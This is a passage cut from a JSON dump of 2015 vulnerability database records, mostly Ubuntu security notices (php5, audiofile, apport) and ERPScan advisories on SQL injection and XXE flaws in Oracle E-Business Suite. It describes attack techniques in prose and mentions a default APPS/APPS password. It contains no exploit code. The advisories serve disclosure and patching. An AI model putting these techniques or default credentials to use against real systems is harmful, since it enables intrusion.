15.10:\r\n libapache2-mod-php5 5.6.11+dfsg-1ubuntu3.1\r\n php5-cgi 5.6.11+dfsg-1ubuntu3.1\r\n php5-cli 5.6.11+dfsg-1ubuntu3.1\r\n php5-fpm 5.6.11+dfsg-1ubuntu3.1\r\n\r\nUbuntu 15.04:\r\n libapache2-mod-php5 5.6.4+dfsg-4ubuntu6.4\r\n php5-cgi 5.6.4+dfsg-4ubuntu6.4\r\n php5-cli 5.6.4+dfsg-4ubuntu6.4\r\n php5-fpm 5.6.4+dfsg-4ubuntu6.4\r\n\r\nUbuntu 14.04 LTS:\r\n libapache2-mod-php5 5.5.9+dfsg-1ubuntu4.14\r\n php5-cgi 5.5.9+dfsg-1ubuntu4.14\r\n php5-cli 5.5.9+dfsg-1ubuntu4.14\r\n php5-fpm 5.5.9+dfsg-1ubuntu4.14\r\n\r\nUbuntu 12.04 LTS:\r\n libapache2-mod-php5 5.3.10-1ubuntu3.21\r\n php5-cgi 5.3.10-1ubuntu3.21\r\n php5-cli 5.3.10-1ubuntu3.21\r\n php5-fpm 5.3.10-1ubuntu3.21\r\n\r\nIn general, a standard system update will make all the necessary changes.\r\n\r\nReferences:\r\n http://www.ubuntu.com/usn/usn-2786-1\r\n CVE-2015-7803, CVE-2015-7804\r\n\r\nPackage Information:\r\n https://launchpad.net/ubuntu/+source/php5/5.6.11+dfsg-1ubuntu3.1\r\n https://launchpad.net/ubuntu/+source/php5/5.6.4+dfsg-4ubuntu6.4\r\n https://launchpad.net/ubuntu/+source/php5/5.5.9+dfsg-1ubuntu4.14\r\n https://launchpad.net/ubuntu/+source/php5/5.3.10-1ubuntu3.21\r\n\r\n\r\n\r\n\r\n-- \r\nubuntu-security-announce mailing list\r\nubuntu-security-announce@lists.ubuntu.com\r\nModify settings or unsubscribe at: https://lists.ubuntu.com/mailman/listinfo/ubuntu-security-announce\r\n\r\n", "published": "2015-11-02T00:00:00", "modified": "2015-11-02T00:00:00", "cvss": {"score": 6.8, "vector": "AV:NETWORK/AC:MEDIUM/Au:NONE/C:PARTIAL/I:PARTIAL/A:PARTIAL/"}, "href": "https://vulners.com/securityvulns/SECURITYVULNS:DOC:32651", "reporter": "Securityvulns", "references": [], "cvelist": ["CVE-2015-7803", "CVE-2015-7804"], "type": "securityvulns", "lastseen": "2018-08-31T11:11:02", "history": [], "edition": 1, "hashmap": [{"key": "affectedSoftware", "hash": "d41d8cd98f00b204e9800998ecf8427e"}, {"key": "bulletinFamily", "hash": "f9fa10ba956cacf91d7878861139efb9"}, {"key": "cvelist", "hash": "94aee96d0a33ff770af1ab8e308073f0"}, {"key": "cvss", "hash": "737e2591b537c46d1ca7ce6f0cea5cb9"}, {"key": "description", "hash": "7591a4414fab4e00d545d96f67923bfe"}, {"key": "href", "hash": "91f326dd520bc78a7e8becd3c39b6be5"}, {"key": "modified", "hash": "d8f38bedae5c73d95ff296ba2bd86a44"}, {"key": "published", "hash": "d8f38bedae5c73d95ff296ba2bd86a44"}, {"key": "references", "hash": "d41d8cd98f00b204e9800998ecf8427e"}, {"key": "reporter", "hash": "a49ebb2e1a771348dfa0039e0d589df6"}, {"key": "title", "hash": "29738b7846c783fb3a4f2a49b7c4ccd3"}, {"key": "type", "hash": "d54751dd75af2ea0147b462b3e001cd0"}], "hash": "d2381bcd69ce89f633080a3b3bcd22d9c6038a3c2512d85530ef0a4ad6a45bd8", "viewCount": 181, "enchantments": {"score": {"value": 6.4, "vector": "NONE", "modified": "2018-08-31T11:11:02", "rev": 2}, "dependencies": {"references": [{"type": "f5", "idList": ["F5:K17503", "SOL17503"]}, {"type": "ubuntucve", "idList": ["UB:CVE-2015-7803", "UB:CVE-2015-7804"]}, {"type": "cve", "idList": ["CVE-2015-7803", "CVE-2015-7804"]}, {"type": "openvas", "idList": ["OPENVAS:1361412562311220191984", "OPENVAS:1361412562311220201747", "OPENVAS:1361412562310806649", "OPENVAS:1361412562310120520", "OPENVAS:1361412562311220192438", "OPENVAS:1361412562310703380", "OPENVAS:703380", "OPENVAS:1361412562311220192649", "OPENVAS:1361412562310807000", "OPENVAS:1361412562310806648", "OPENVAS:1361412562310120396", "OPENVAS:1361412562310842508"]}, {"type": "debian", "idList": ["DEBIAN:DSA-3380-1:F94D6", "DEBIAN:DLA-341-1:DA682"]}, {"type": "nessus", "idList": ["ALA_ALAS-2015-602.NASL", "DEBIAN_DSA-3380.NASL", "EULEROS_SA-2019-2649.NASL", "PHP_5_5_30.NASL", "UBUNTU_USN-2786-1.NASL", "OPENSUSE-2016-100.NASL", "SUSE_SU-2016-1581-1.NASL", "FREEBSD_PKG_C1DA8B756AEF11E59909002590263BF5.NASL", "OPENSUSE-2016-157.NASL", "EULEROS_SA-2019-1984.NASL", "MACOSX_SECUPD2015-008.NASL", "9325.PRM", "SLACKWARE_SSA_2016-034-04.NASL", "EULEROS_SA-2019-2438.NASL", "SUSE_SU-2016-1638-1.NASL", "WEB_APPLICATION_SCANNING_98806", "GENTOO_GLSA-201606-10.NASL", "8956.PRM", "SUSE_SU-2016-0284-1.NASL", "MACOSX_10_11_2.NASL", "SUSE_SU-2016-1145-1.NASL", "PHP_5_6_14.NASL", "DEBIAN_DLA-341.NASL", "ALA_ALAS-2015-601.NASL", "PFSENSE_SA-15_08.NASL", "EULEROS_SA-2020-1747.NASL"]}, {"type": "ubuntu", "idList": ["USN-2786-1"]}, {"type": "securityvulns", "idList": ["SECURITYVULNS:VULN:14753"]}, {"type": "freebsd", "idList": ["C1DA8B75-6AEF-11E5-9909-002590263BF5"]}, {"type": "slackware", "idList": ["SSA-2016-034-04"]}, {"type": "hackerone", "idList": ["H1:104008", "H1:103990"]}, {"type": "amazon", "idList": ["ALAS-2015-602", "ALAS-2015-601"]}, {"type": "redhat", "idList": ["RHSA-2016:0457"]}, {"type": "suse", "idList": ["SUSE-SU-2016:1581-1", "SUSE-SU-2016:1145-1", "SUSE-SU-2016:1638-1"]}, {"type": "gentoo", "idList": ["GLSA-201606-10"]}, {"type": "cloudlinux", "idList": ["CLSA-2020:1605798462"]}], "modified": "2018-08-31T11:11:02", "rev": 2}}, "objectVersion": "1.5", "affectedSoftware": [], "immutableFields": [], "cvss2": {}, "cvss3": {}}, {"id": "SECURITYVULNS:DOC:32657", "bulletinFamily": "software", "title": "[ERPSCAN-15-026] Oracle E-Business Suite - SQL injection Vulnerability", "description": "\r\n\r\n1. ADVISORY INFORMATION\r\n\r\nTitle: Oracle E-Business Suite SQL injection\r\nAdvisory ID: [ERPSCAN-15-026]\r\nAdvisory URL: http://erpscan.com/advisories/erpscan-15-026-oracle-e-business-suite-sql-injection-vulnerability/\r\nDate published: 20.10.2015\r\nVendors contacted: Oracle\r\n\r\n2. VULNERABILITY INFORMATION\r\n\r\nClass: SQL injection\r\nImpact: SQL injection, RCE\r\nRemotely Exploitable: Yes\r\nLocally Exploitable: No\r\nCVE Name: CVE-2015-4846\r\nCVSS Information\r\nCVSS Base Score: 3.6 / 10\r\nAV : Access Vector &#40;Related exploit range&#41; Network &#40;N&#41;\r\nAC : Access Complexity &#40;Required attack complexity&#41; High &#40;H&#41;\r\nAu : Authentication &#40;Level of authentication needed to exploit&#41; Single &#40;S&#41;\r\nC : Impact to Confidentiality Partial &#40;P&#41;\r\nI : Impact to Integrity Partial &#40;P&#41;\r\nA : Impact to Availability None &#40;N&#41;\r\n\r\n3. VULNERABILITY DESCRIPTION\r\n\r\nThe problem is caused by an SQL injection vulnerability. The code\r\ncomprises an SQL statement that contains strings that can be altered\r\nby an attacker. The manipulated SQL statement can then be used to\r\nretrieve additional data from the database or to modify the data.\r\n\r\n4. VULNERABLE PACKAGES\r\n\r\nOracle E-Business Suite 12.1.3, 12.1.4\r\n\r\nOther versions are probably affected too, but they were not checked.\r\n\r\n5. SOLUTIONS AND WORKAROUNDS\r\n\r\nInstall Oracle CPU October 2015\r\n\r\n6. AUTHOR\r\nNikita Kelesis, Ivan Chalykin, Alexey Tyurin, Egor Karbutov &#40;ERPScan&#41;\r\n\r\n7. TECHNICAL DESCRIPTION\r\n\r\nOne of SQL extensions &#40;afamexts.sql&#41; does not filter user input values\r\nwhich may lead to SQL injection. The only defense mechanism is a\r\npassword for APPS. If an attacker knows the password &#40;for example,\r\ndefault password APPS/APPS&#41;, he will be able to exploit SQL injection\r\nwith high privilege.\r\n\r\n\r\n8. REPORT TIMELINE\r\n\r\nReported: 17.07.2015\r\nVendor response: 24.07.2015\r\nDate of Public Advisory: 20.10.2015\r\n\r\n9. REFERENCES\r\n\r\nhttp://www.oracle.com/technetwork/topics/security/cpuoct2015-2367953.html\r\nhttp://erpscan.com/advisories/erpscan-15-026-oracle-e-business-suite-sql-injection-vulnerability/\r\nhttp://erpscan.com/press-center/press-release/erpscan-took-a-closer-look-at-oracle-ebs-security-6-vulnerabilities-patched-in-recent-update/\r\n\r\n10. ABOUT ERPScan Research\r\nThe company\u2019s expertise is based on the research subdivision of\r\nERPScan, which is engaged in vulnerability research and analysis of\r\ncritical enterprise applications. It has achieved multiple\r\nacknowledgments from the largest software vendors like SAP, Oracle,\r\nMicrosoft, IBM, VMware, HP for discovering more than 400\r\nvulnerabilities in their solutions &#40;200 of them just in SAP!&#41;.\r\nERPScan researchers are proud to have exposed new types of\r\nvulnerabilities &#40;TOP 10 Web Hacking Techniques 2012&#41; and to be\r\nnominated for the best server-side vulnerability at BlackHat 2013.\r\nERPScan experts have been invited to speak, present, and train at 60+\r\nprime international security conferences in 25+ countries across the\r\ncontinents. These include BlackHat, RSA, HITB, and private SAP\r\ntrainings in several Fortune 2000 companies.\r\nERPScan researchers lead the project EAS-SEC, which is focused on\r\nenterprise application security research and awareness. They have\r\npublished 3 exhaustive annual award-winning surveys about SAP\r\nsecurity.\r\nERPScan experts have been interviewed by leading media resources and\r\nfeatured in specialized info-sec publications worldwide. These include\r\nReuters, Yahoo, SC Magazine, The Register, CIO, PC World, DarkReading,\r\nHeise, and Chinabyte, to name a few.\r\nWe have highly qualified experts in staff with experience in many\r\ndifferent fields of security, from web applications and\r\nmobile/embedded to reverse engineering and ICS/SCADA systems,\r\naccumulating their experience to conduct the best SAP security\r\nresearch.\r\n\r\n\r\n11. ABOUT ERPScan\r\nERPScan is one of the most respected and credible Business Application\r\nSecurity providers. Founded in 2010, the company operates globally.\r\nNamed an Emerging vendor in Security by CRN and distinguished by more\r\nthan 25 other awards, ERPScan is the leading SAP SE partner in\r\ndiscovering and resolving security vulnerabilities. ERPScan\r\nconsultants work with SAP SE in Walldorf to improve the security of\r\ntheir latest solutions.\r\nERPScan\u2019s primary mission is to close the gap between technical and\r\nbusiness security. We provide solutions to secure ERP systems and\r\nbusiness-critical applications from both cyber attacks and internal\r\nfraud. Our clients are usually large enterprises, Fortune 2000\r\ncompanies, and managed service providers whose requirements are to\r\nactively monitor and manage the security of vast SAP landscapes on a\r\nglobal scale.\r\nOur flagship product is ERPScan Security Monitoring Suite for SAP.\r\nThis multi award-winning innovative software is the only solution on\r\nthe market certified by SAP SE covering all tiers of SAP security:\r\nvulnerability assessment, source code review, and Segregation of\r\nDuties.\r\nThe largest companies from diverse industries like oil and gas,\r\nbanking, retail, even nuclear power installations as well as\r\nconsulting companies have successfully deployed the software. ERPScan\r\nSecurity Monitoring Suite for SAP is specifically designed for\r\nenterprises to continuously monitor changes in multiple SAP systems.\r\nIt generates and analyzes trends in user friendly dashboards, manages\r\nrisks, tasks, and can export results to external systems. These\r\nfeatures enable central management of SAP system security with minimal\r\ntime and effort.\r\nWe follow the sun and function in two hubs located in the Netherlands\r\nand the US to operate local offices and partner network spanning 20+\r\ncountries around the globe. This enables monitoring cyber threats in\r\nreal time and providing agile customer support.\r\n\r\nAdress USA: 228 Hamilton Avenue, Fl. 3, Palo Alto, CA. 94301\r\nPhone: 650.798.5255\r\nTwitter: @erpscan\r\nScoop-it: Business Application Security\r\n\r\n", "published": "2015-11-02T00:00:00", "modified": "2015-11-02T00:00:00", "cvss": {"score": 3.6, "vector": "AV:NETWORK/AC:HIGH/Au:SINGLE_INSTANCE/C:PARTIAL/I:PARTIAL/A:NONE/"}, "href": "https://vulners.com/securityvulns/SECURITYVULNS:DOC:32657", "reporter": "Securityvulns", "references": [], "cvelist": ["CVE-2015-4846"], "type": "securityvulns", "lastseen": "2018-08-31T11:11:02", "history": [], "edition": 1, "hashmap": [{"key": "affectedSoftware", "hash": "d41d8cd98f00b204e9800998ecf8427e"}, {"key": "bulletinFamily", "hash": "f9fa10ba956cacf91d7878861139efb9"}, {"key": "cvelist", "hash": "2028f4e78a559d181736340a0b1d147d"}, {"key": "cvss", "hash": "2cbf8392c8ba6ad3fc64242f5a2d3294"}, {"key": "description", "hash": "0003d17d2e87c7e0ff565bcbf5cb29db"}, {"key": "href", "hash": "3b52d758a08f078f46108d7d53e82563"}, {"key": "modified", "hash": "d8f38bedae5c73d95ff296ba2bd86a44"}, {"key": "published", "hash": "d8f38bedae5c73d95ff296ba2bd86a44"}, {"key": "references", "hash": "d41d8cd98f00b204e9800998ecf8427e"}, {"key": "reporter", "hash": "a49ebb2e1a771348dfa0039e0d589df6"}, {"key": "title", "hash": "79450712fbf162b7be89a44b998f0b41"}, {"key": "type", "hash": "d54751dd75af2ea0147b462b3e001cd0"}], "hash": "b741a8a189c11460c107071162d0ca6a5c37837c88eb3e8aa27aacd53d2530d3", "viewCount": 165, "enchantments": {"score": {"value": 6.8, "vector": "NONE", "modified": "2018-08-31T11:11:02", "rev": 2}, "dependencies": {"references": [{"type": "cve", "idList": ["CVE-2015-4846"]}, {"type": "erpscan", "idList": ["ERPSCAN-15-026"]}, {"type": "nessus", "idList": ["ORACLE_E-BUSINESS_CPU_OCT_2015.NASL"]}, {"type": "securityvulns", "idList": ["SECURITYVULNS:VULN:14755"]}, {"type": "oracle", "idList": ["ORACLE:CPUOCT2015-2367953", "ORACLE:CPUOCT2015"]}], "modified": "2018-08-31T11:11:02", "rev": 2}}, "objectVersion": "1.5", "affectedSoftware": [], "immutableFields": [], "cvss2": {}, "cvss3": {}}, {"id": "SECURITYVULNS:VULN:14720", "bulletinFamily": "software", "title": "apport security vulnerabilities", "description": "Symbolic links and hadlinks vulnerability in log files, privilege escalation.", "published": "2015-11-02T00:00:00", "modified": "2015-11-02T00:00:00", "cvss": {"score": 7.2, "vector": "AV:LOCAL/AC:LOW/Au:NONE/C:COMPLETE/I:COMPLETE/A:COMPLETE/"}, "href": "https://vulners.com/securityvulns/SECURITYVULNS:VULN:14720", "reporter": "BUGTRAQ", "references": ["https://vulners.com/securityvulns/securityvulns:doc:32660", "https://vulners.com/securityvulns/securityvulns:doc:32549"], "cvelist": ["CVE-2015-1338"], "type": "securityvulns", "lastseen": "2021-06-08T18:47:21", "history": [{"bulletin": {"affectedSoftware": [{"name": "Apport", "operator": "eq", "version": "2.18"}], "bulletinFamily": "software", "cvelist": ["CVE-2015-1338"], "cvss": {"score": 7.2, "vector": "AV:LOCAL/AC:LOW/Au:NONE/C:COMPLETE/I:COMPLETE/A:COMPLETE/"}, "description": "Symbolic links and hadlinks vulnerability in log files, privilege escalation.", "edition": 1, "enchantments": {"dependencies": {"modified": "2018-08-31T11:10:02", "references": [{"idList": ["1337DAY-ID-24318"], "type": "zdt"}, {"idList": ["EDB-ID:38353"], "type": "exploitdb"}, {"idList": ["SUSE_SU-2017-1938-1.NASL", "UBUNTU_USN-2744-1.NASL"], "type": "nessus"}, {"idList": ["USN-2744-1"], "type": "ubuntu"}, {"idList": ["OPENVAS:1361412562310842461"], "type": "openvas"}, {"idList": ["CVE-2015-1338"], "type": "cve"}, {"idList": ["SECURITYVULNS:DOC:32549", "SECURITYVULNS:DOC:32660"], "type": "securityvulns"}], "rev": 2}, "score": {"modified": "2018-08-31T11:10:02", "rev": 2, "value": 6.3, "vector": "NONE"}}, "hash": "1fa5005708a149c7c59442ee368563a06ac60940d1520936b1bdf2bc66d28119", "hashmap": [{"hash": "d41d8cd98f00b204e9800998ecf8427e", "key": "immutableFields"}, {"hash": "cfd16da9581e0c21db590e40dfd9e493", "key": "cvss"}, {"hash": "f2f10dc547bbfec7457259bd6d7e047e", "key": "affectedSoftware"}, {"hash": "c40e388f6268f3ea89c15217ff7a389f", "key": "href"}, {"hash": "5ed00cd4fde4dff0aae89dbca81d74db", "key": "references"}, {"hash": "bc78879f0f9131664d05d93df6e74e24", "key": "description"}, {"hash": "f9fa10ba956cacf91d7878861139efb9", "key": "bulletinFamily"}, {"hash": "6ba287598210482dd32c01dba6343482", "key": "title"}, {"hash": "2c5cca82a8670da097919f6160833daf", "key": "reporter"}, {"hash": "d8f38bedae5c73d95ff296ba2bd86a44", "key": "modified"}, {"hash": "c673ee2fdc72d8a4f67ca23a54ca10e5", "key": "cvelist"}, {"hash": "d54751dd75af2ea0147b462b3e001cd0", "key": "type"}, {"hash": "d8f38bedae5c73d95ff296ba2bd86a44", "key": "published"}], "history": [], "href": "https://vulners.com/securityvulns/SECURITYVULNS:VULN:14720", "id": "SECURITYVULNS:VULN:14720", "immutableFields": [], "lastseen": "2018-08-31T11:10:02", "modified": "2015-11-02T00:00:00", "objectVersion": "1.5", "published": "2015-11-02T00:00:00", "references": ["https://vulners.com/securityvulns/securityvulns:doc:32660", "https://vulners.com/securityvulns/securityvulns:doc:32549"], "reporter": "BUGTRAQ", "title": "apport security vulnerabilities", "type": "securityvulns", "viewCount": 486}, "different_elements": ["affectedSoftware"], "edition": 1, "lastseen": "2018-08-31T11:10:02"}], "edition": 2, "hashmap": [{"key": "affectedSoftware", "hash": "c063ed29dc851cbe70ebf2ae9876b01e"}, {"key": "bulletinFamily", "hash": "f9fa10ba956cacf91d7878861139efb9"}, {"key": "cvelist", "hash": "c673ee2fdc72d8a4f67ca23a54ca10e5"}, {"key": "cvss", "hash": "cfd16da9581e0c21db590e40dfd9e493"}, {"key": "description", "hash": "bc78879f0f9131664d05d93df6e74e24"}, {"key": "href", "hash": "c40e388f6268f3ea89c15217ff7a389f"}, {"key": "immutableFields", "hash": "d41d8cd98f00b204e9800998ecf8427e"}, {"key": "modified", "hash": "d8f38bedae5c73d95ff296ba2bd86a44"}, {"key": "published", "hash": "d8f38bedae5c73d95ff296ba2bd86a44"}, {"key": "references", "hash": "5ed00cd4fde4dff0aae89dbca81d74db"}, {"key": "reporter", "hash": "2c5cca82a8670da097919f6160833daf"}, {"key": "title", "hash": "6ba287598210482dd32c01dba6343482"}, {"key": "type", "hash": "d54751dd75af2ea0147b462b3e001cd0"}], "hash": "6a476b22964ed9af13d180099f91a74f2789ce11576be85b9f99a47748d85438", "viewCount": 496, "enchantments": {"dependencies": {"references": [{"type": "ubuntucve", "idList": ["UB:CVE-2015-1338"]}, {"type": "cve", "idList": ["CVE-2015-1338"]}, {"type": "exploitdb", "idList": ["EDB-ID:38353"]}, {"type": "openvas", "idList": ["OPENVAS:1361412562310842461"]}, {"type": "zdt", "idList": ["1337DAY-ID-24318"]}, {"type": "securityvulns", "idList": ["SECURITYVULNS:DOC:32660", "SECURITYVULNS:DOC:32549"]}, {"type": "ubuntu", "idList": ["USN-2744-1"]}, {"type": "nessus", "idList": ["UBUNTU_USN-2744-1.NASL", "SUSE_SU-2017-1938-1.NASL"]}], "modified": "2021-06-08T18:47:21", "rev": 2}, "score": {"value": 6.3, "vector": "NONE", "modified": "2021-06-08T18:47:21", "rev": 2}}, "objectVersion": "1.5", "affectedSoftware": [{"name": "apport", "operator": "eq", "version": "2.18"}], "immutableFields": [], "scheme": null, "cvss2": {}, "cvss3": {}}, {"id": "SECURITYVULNS:DOC:32652", "bulletinFamily": "software", "title": "[USN-2787-1] audiofile vulnerability", "description": "\r\n\r\n==========================================================================\r\nUbuntu Security Notice USN-2787-1\r\nOctober 28, 2015\r\n\r\naudiofile vulnerability\r\n==========================================================================\r\n\r\nA security issue affects these releases of Ubuntu and its derivatives:\r\n\r\n- Ubuntu 15.10\r\n- Ubuntu 15.04\r\n- Ubuntu 14.04 LTS\r\n- Ubuntu 12.04 LTS\r\n\r\nSummary:\r\n\r\naudiofile could be made to crash or run programs as your login if it\r\nopened a specially crafted file.\r\n\r\nSoftware Description:\r\n- audiofile: Open-source version of the SGI audiofile library\r\n\r\nDetails:\r\n\r\nFabrizio Gennari discovered that audiofile incorrectly handled changing\r\nboth the sample format and the number of channels. If a user or automated\r\nsystem were tricked into processing a specially crafted file, audiofile\r\ncould be made to crash, leading to a denial of service, or possibly execute\r\narbitrary code.\r\n\r\nUpdate instructions:\r\n\r\nThe problem can be corrected by updating your system to the following\r\npackage versions:\r\n\r\nUbuntu 15.10:\r\n libaudiofile1 0.3.6-2ubuntu0.15.10.1\r\n\r\nUbuntu 15.04:\r\n libaudiofile1 0.3.6-2ubuntu0.15.04.1\r\n\r\nUbuntu 14.04 LTS:\r\n libaudiofile1 0.3.6-2ubuntu0.14.04.1\r\n\r\nUbuntu 12.04 LTS:\r\n libaudiofile1 0.3.3-2ubuntu0.1\r\n\r\nIn general, a standard system update will make all the necessary changes.\r\n\r\nReferences:\r\n http://www.ubuntu.com/usn/usn-2787-1\r\n CVE-2015-7747\r\n\r\nPackage Information:\r\n https://launchpad.net/ubuntu/+source/audiofile/0.3.6-2ubuntu0.15.10.1\r\n https://launchpad.net/ubuntu/+source/audiofile/0.3.6-2ubuntu0.15.04.1\r\n https://launchpad.net/ubuntu/+source/audiofile/0.3.6-2ubuntu0.14.04.1\r\n https://launchpad.net/ubuntu/+source/audiofile/0.3.3-2ubuntu0.1\r\n\r\n\r\n\r\n\r\n-- \r\nubuntu-security-announce mailing list\r\nubuntu-security-announce@lists.ubuntu.com\r\nModify settings or unsubscribe at: https://lists.ubuntu.com/mailman/listinfo/ubuntu-security-announce\r\n\r\n", "published": "2015-11-02T00:00:00", "modified": "2015-11-02T00:00:00", "cvss": {"score": 0.0, "vector": "NONE"}, "href": "https://vulners.com/securityvulns/SECURITYVULNS:DOC:32652", "reporter": "Securityvulns", "references": [], "cvelist": ["CVE-2015-7747"], "type": "securityvulns", "lastseen": "2018-08-31T11:11:02", "history": [], "edition": 1, "hashmap": [{"key": "affectedSoftware", "hash": "d41d8cd98f00b204e9800998ecf8427e"}, {"key": "bulletinFamily", "hash": "f9fa10ba956cacf91d7878861139efb9"}, {"key": "cvelist", "hash": "50c023fd612f4a3919caafafd70af1c7"}, {"key": "cvss", "hash": "8cd4821cb504d25572038ed182587d85"}, {"key": "description", "hash": "e1b942ed5a7d4bd7fdbdd4d984bbcfa8"}, {"key": "href", "hash": "87f14b8fbd08732c6a73b13d46fe98ee"}, {"key": "modified", "hash": "d8f38bedae5c73d95ff296ba2bd86a44"}, {"key": "published", "hash": "d8f38bedae5c73d95ff296ba2bd86a44"}, {"key": "references", "hash": "d41d8cd98f00b204e9800998ecf8427e"}, {"key": "reporter", "hash": "a49ebb2e1a771348dfa0039e0d589df6"}, {"key": "title", "hash": "e9b921c5bed1ed652b982edc288318b4"}, {"key": "type", "hash": "d54751dd75af2ea0147b462b3e001cd0"}], "hash": "2d5a85403cc62aca18c0b34cea5aabc8d0bf0116ed796c96ad83efa605c5584f", "viewCount": 339, "enchantments": {"score": {"value": 7.0, "vector": "NONE", "modified": "2018-08-31T11:11:02", "rev": 2}, "dependencies": {"references": [{"type": "ubuntucve", "idList": ["UB:CVE-2015-7747"]}, {"type": "cve", "idList": ["CVE-2015-7747"]}, {"type": "fedora", "idList": ["FEDORA:476D76074A70", "FEDORA:AC00060E6E18"]}, {"type": "openvas", "idList": ["OPENVAS:1361412562310842506", "OPENVAS:1361412562310131103", "OPENVAS:1361412562310806796"]}, {"type": "ubuntu", "idList": ["USN-2787-1"]}, {"type": "nessus", "idList": ["SUSE_SU-2017-0940-1.NASL", "OPENSUSE-2015-698.NASL", "UBUNTU_USN-2787-1.NASL", "FEDORA_2015-605CD28F33.NASL", "FEDORA_2015-4BC7688B3E.NASL"]}, {"type": "securityvulns", "idList": ["SECURITYVULNS:VULN:14754"]}, {"type": "oraclelinux", "idList": ["ELSA-2020-3877"]}], "modified": "2018-08-31T11:11:02", "rev": 2}}, "objectVersion": "1.5", "affectedSoftware": [], "immutableFields": [], "cvss2": {}, "cvss3": {}}, {"id": "SECURITYVULNS:DOC:32660", "bulletinFamily": "software", "title": "[USN-2782-1] Apport vulnerability", "description": "\r\n\r\n==========================================================================\r\nUbuntu Security Notice USN-2782-1\r\nOctober 27, 2015\r\n\r\napport vulnerability\r\n==========================================================================\r\n\r\nA security issue affects these releases of Ubuntu and its derivatives:\r\n\r\n- Ubuntu 15.10\r\n- Ubuntu 15.04\r\n- Ubuntu 14.04 LTS\r\n- Ubuntu 12.04 LTS\r\n\r\nSummary:\r\n\r\nApport could be made to run programs as an administrator.\r\n\r\nSoftware Description:\r\n- apport: automatically generate crash reports for debugging\r\n\r\nDetails:\r\n\r\nGabriel Campana discovered that Apport incorrectly handled Python module\r\nimports. A local attacker could use this issue to elevate privileges.\r\n\r\nUpdate instructions:\r\n\r\nThe problem can be corrected by updating your system to the following\r\npackage versions:\r\n\r\nUbuntu 15.10:\r\n apport 2.19.1-0ubuntu4\r\n\r\nUbuntu 15.04:\r\n apport 2.17.2-0ubuntu1.7\r\n\r\nUbuntu 14.04 LTS:\r\n apport 2.14.1-0ubuntu3.18\r\n\r\nUbuntu 12.04 LTS:\r\n apport 2.0.1-0ubuntu17.13\r\n\r\nIn general, a standard system update will make all the necessary changes.\r\n\r\nReferences:\r\n http://www.ubuntu.com/usn/usn-2782-1\r\n CVE-2015-1341\r\n\r\nPackage Information:\r\n https://launchpad.net/ubuntu/+source/apport/2.19.1-0ubuntu4\r\n https://launchpad.net/ubuntu/+source/apport/2.17.2-0ubuntu1.7\r\n https://launchpad.net/ubuntu/+source/apport/2.14.1-0ubuntu3.18\r\n https://launchpad.net/ubuntu/+source/apport/2.0.1-0ubuntu17.13\r\n\r\n\r\n\r\n\r\n-- \r\nubuntu-security-announce mailing list\r\nubuntu-security-announce@lists.ubuntu.com\r\nModify settings or unsubscribe at: https://lists.ubuntu.com/mailman/listinfo/ubuntu-security-announce\r\n\r\n", "published": "2015-11-02T00:00:00", "modified": "2015-11-02T00:00:00", "cvss": {"score": 0.0, "vector": "NONE"}, "href": "https://vulners.com/securityvulns/SECURITYVULNS:DOC:32660", "reporter": "Securityvulns", "references": [], "cvelist": ["CVE-2015-1341"], "type": "securityvulns", "lastseen": "2018-08-31T11:11:02", "history": [], "edition": 1, "hashmap": [{"key": "affectedSoftware", "hash": "d41d8cd98f00b204e9800998ecf8427e"}, {"key": "bulletinFamily", "hash": "f9fa10ba956cacf91d7878861139efb9"}, {"key": "cvelist", "hash": "8f49c49cf517447776f8becbe7916610"}, {"key": "cvss", "hash": "8cd4821cb504d25572038ed182587d85"}, {"key": "description", "hash": "67dffb644bd6572ab0e644ffec4f8a3d"}, {"key": "href", "hash": "d0b126369a0f5b3d6c7e71db9fa232a5"}, {"key": "modified", "hash": "d8f38bedae5c73d95ff296ba2bd86a44"}, {"key": "published", "hash": "d8f38bedae5c73d95ff296ba2bd86a44"}, {"key": "references", "hash": "d41d8cd98f00b204e9800998ecf8427e"}, {"key": "reporter", "hash": "a49ebb2e1a771348dfa0039e0d589df6"}, {"key": "title", "hash": "874f3cf5f97e14a7710794ca3a33d6b6"}, {"key": "type", "hash": "d54751dd75af2ea0147b462b3e001cd0"}], "hash": "7aa6be6084a2337a91bd0bd8527d0eafc3a8d4e537ffb27c8af1a86889efc06d", "viewCount": 209, "enchantments": {"score": {"value": 5.2, "vector": "NONE", "modified": "2018-08-31T11:11:02", "rev": 2}, "dependencies": {"references": [{"type": "ubuntucve", "idList": ["UB:CVE-2015-1341"]}, {"type": "cve", "idList": ["CVE-2015-1341"]}, {"type": "openvas", "idList": ["OPENVAS:1361412562310842505"]}, {"type": "nessus", "idList": ["UBUNTU_USN-2782-1.NASL"]}, {"type": "ubuntu", "idList": ["USN-2782-1"]}], "modified": "2018-08-31T11:11:02", "rev": 2}}, "objectVersion": "1.5", "affectedSoftware": [], "immutableFields": [], "cvss2": {}, "cvss3": {}}, {"id": "SECURITYVULNS:DOC:32655", "bulletinFamily": "software", "title": "[ERPSCAN-15-030] Oracle E-Business Suite - XXE injection Vulnerability", "description": "\r\n\r\n1. ADVISORY INFORMATION\r\n\r\nTitle: Oracle E-Business Suite XXE injection\r\nAdvisory ID: [ERPSCAN-15-030]\r\nAdvisory URL: http://erpscan.com/advisories/erpscan-15-030-oracle-e-business-suite-xxe-injection-vulnerability/\r\nDate published: 20.10.2015\r\nVendors contacted: Oracle\r\n\r\n2. VULNERABILITY INFORMATION\r\n\r\nClass: XML External Entity [CWE-611]\r\nImpact: information disclosure, DoS, SSRF, NTLM relay\r\nRemotely Exploitable: Yes\r\nLocally Exploitable: No\r\nCVE Name: CVE-2015-4851\r\nCVSS Information\r\nCVSS Base Score: 6.8 / 10\r\nAV : Access Vector &#40;Related exploit range&#41; Network &#40;N&#41;\r\nAC : Access Complexity &#40;Required attack complexity&#41; Medium &#40;M&#41;\r\nAu : Authentication &#40;Level of authentication needed to exploit&#41; None &#40;N&#41;\r\nC : Impact to Confidentiality Partial &#40;P&#41;\r\nI : Impact to Integrity Partial &#40;P&#41;\r\nA : Impact to Availability Partial &#40;P&#41;\r\n\r\n3. VULNERABILITY DESCRIPTION\r\n\r\n1&#41; An attacker can read an arbitrary file on a server by sending a\r\ncorrect XML request with a crafted DTD and reading the response from\r\nthe service.\r\n2&#41; An attacker can perform a DoS attack &#40;for example, XML Entity Expansion&#41;.\r\n3&#41; An SMB Relay attack is a type of Man-in-the-Middle attack where the\r\nattacker asks the victim to authenticate into a machine controlled by\r\nthe attacker, then relays the credentials to the target. The attacker\r\nforwards the authentication information both ways and gets access.\r\n\r\n4. VULNERABLE 